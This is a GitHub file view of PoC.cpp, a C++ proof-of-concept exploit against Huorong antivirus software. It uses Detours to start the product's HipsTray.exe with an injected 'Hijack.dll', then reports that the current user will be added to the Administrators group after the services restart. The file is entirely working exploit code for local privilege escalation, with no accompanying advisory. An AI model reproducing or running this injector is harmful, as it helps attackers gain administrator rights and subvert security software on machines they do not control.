


main

...

PoC / PoC.cpp

 yangfan6888 Add files via upload History

1 contributor

75 lines (62 sloc) | 1.64 KB

...

```
1 #include "stdafx.h"
2 #include <Windows.h>
3 #include <Shlwapi.h>
4 #include <stdio.h>
5 #include "detours.h"
6
7 #pragma comment( lib, "Shlwapi.lib")
8 #pragma comment(lib,"detours_x86.lib")
9
10 #define HIJACK_SUCCESS 888
11
12 int _tmain(int argc, _TCHAR* argv[])
13 {
14
15     char szHuongongPath[512] = "C:\\Program Files (x86)\\Huongong\\Sysdiag\\bin\\HipsTray.exe";
16
17     if (!PathFileExistsA(szHuongongPath))
18     {
19         printf("[+] HipsTray file not found (%s)!",szHuongongPath);
20         getchar();
21         return -1;
22     }
23
24     char szDLL[MAX_PATH] = {0};
25     GetModuleFileName(NULL,szDLL,MAX_PATH);
26     strcpy(strrchr(szDLL,'\\')+1,"Hijack.dll");
27
28     if (!PathFileExistsA(szDLL))
29     {
30         printf("[+] Hijack file not found(%s)\n",szDLL);
31         getchar();
32         return -1;
33     }
34
35     STARTUPINFO si;
36     PROCESS_INFORMATION pi;
37     ZeroMemory( &si, sizeof(si) );
38     si.cb = sizeof(si);
39     ZeroMemory( &pi, sizeof(pi) );
40
41     if( !DetourCreateProcessWithDllA( NULL,szHuongongPath,NULL,NULL,FALSE,0,NULL,&si,&pi,szDLL,NULL) )
42     {
43         printf( "[+] CreateProcess failed (%d)\n", GetLastError() );
44         getchar();
45         return -1;
46     }
47     else
48     {
49         printf("[+] CreateProcess success\n");
50     }
51
52     WaitForSingleObject( pi.hProcess, INFINITE );
53
54     DWORD dwExitCode = 0;
55     GetExitCodeProcess(pi.hProcess,&dwExitCode);
56     CloseHandle( pi.hProcess );
57     CloseHandle( pi.hThread );
58
59     if (dwExitCode==HIJACK_SUCCESS)
60     {
61         char szUser[128] = {0};
62         DWORD dwSize = 128;
63         GetUserName(szUser,&dwSize);
64         printf("[+] Hijack success,%s will be added to Administrators group after Huorong services restart or system reboot\n ",szUser);
65     }
66     else
67     {
68         printf("[+] Hijack fail\n");
69         getchar();
70         return -1;
71     }
72
73     getchar();
74     return 0;
```

